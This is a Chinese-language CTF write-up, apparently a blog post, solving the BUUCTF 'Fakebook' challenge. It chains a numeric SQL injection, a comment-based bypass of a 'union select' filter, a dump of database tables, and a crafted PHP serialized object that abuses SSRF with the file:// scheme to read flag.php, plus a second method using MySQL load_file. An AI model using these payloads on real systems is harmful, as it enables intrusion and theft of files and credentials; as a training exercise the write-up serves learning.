原理
sql注入关键字绕过
反序列化
ssrf
解题过程
进入靶场,有登录按钮和注册按钮。查看页面原代码,对应是login.php和join.php,先注册一个看看有什么
blog随便输发现会报错,其他也是,那试试输入一个网站呢?
输入www.baidu.com发现可以
进入这个界面,先看看原代码吧
发现这个按钮的地址是view.php?no=1,进去看看
普普通通,那再看一下页面原代码
发现有base64加密值,data:text/html;base64
将加密值解密,可以发现这是注册时blog网站的页面原代码,可以猜测应该是访问了网站然后返回response的内容
没有其他东西了。注意到这个no=1,试试sql注入
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1# 回显正常
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1'# 回显异常
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1"# 回显异常
可以知道是涉及sql注入了,应该是数字型注入了
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1 order by 5# 回显错误
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=1 order by 4# 回显正常
那就可以确定列项为4了
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union select 1,2,3,4# 这个payload发现有过滤,那就看看过滤了什么关键字
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union# 报错
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 select# 报错
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union # 报错
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union select# 有过滤
综上可以知道是过滤了union select这个组合
https://blog.csdn.net/2301_77160226/article/details/131142174 参考这个
用union/**/select绕过
### 解法一
接下来正常步骤挖出信息
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,2,3,4# 找到显示位置为2
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,database(),3,4# 找到所处数据库为fakebook
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'# 找到所处数据库的表为users
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'# 找到users表的列名为no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81/view.php?no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from fakebook.users#
发现打印出来这个1adminc7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ecO:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:13:"www.baidu.com";}
拆分一下可以知道1是no值,admin是username值,c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec是passwd加密值,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:13:"www.baidu.com";}就是data值咯,说明要用到反序列化,那我们要知道源码才知道如何构造啊。速速用dirsearch扫描网站目录
python dirsearch.py -u http://cd670ee5-827e-4399-a46e-a7444879bb4e.node4.buuoj.cn:81 --delay=3 BUU扫描目录需要用delay参数放慢,不然老是429扫不出结果,
扫出来flag.php和robots.txt分别访问
flag.php没什么东西,但是可以猜测flag就在这个文件内
robots.txt有提示,访问/user.php.bak下载下来了
看到源码了
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
可以看到isValidBlog是检验blog是否符合要求的,要以http或https开头,我输入www.baidu.com应该是默认加上了,这里应该是注册页面的检测函数
getBlogContents和get应该是获取blog地址的html内容,curl_exec使用且没有过滤,可以猜测是ssrf了。
既然从数据库取出来是序列化数据即data值,之后肯定要反序列化并且执行getBlogContents函数,那我们可以构造一个序列化数据,将blog改为读取本地文件 file://伪协议使用
构造序列化数据,将blog值变为file:///var/www/html/flag.php ,读取/var/www/html/flag.php文件内容 --网站搭建一般是在/var/www/html路径下
就可以构造payload了:view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:17;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#
这里序列化数据的位置需要尝试1,3,4的位置,最终确定是4
查看页面原代码,base64解密得到flag
解法二
听说不是预期解,环境修复了,但是我复现的时候还是可以,就是使用load_file读取文件内容,这个函数的使用前提是mysql中的load_file函数没有禁用,允许访问系统文件,并将内容以字符串形式返回,不过需要的权限很高,且函数参数要求文件的绝对路径
view.php?no=-1 union/**/select 1,user(),3,4# 可以确定用户为root高权限
view.php?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
查看页面原代码成功得到flag
参考文章:https://www.cnblogs.com/LoYoHo00/articles/15382697.html
标签:php,http,no,buuoj,blog,2018,网鼎杯,Fakebook,view From: https://www.cnblogs.com/BEONTHE/p/17747705.html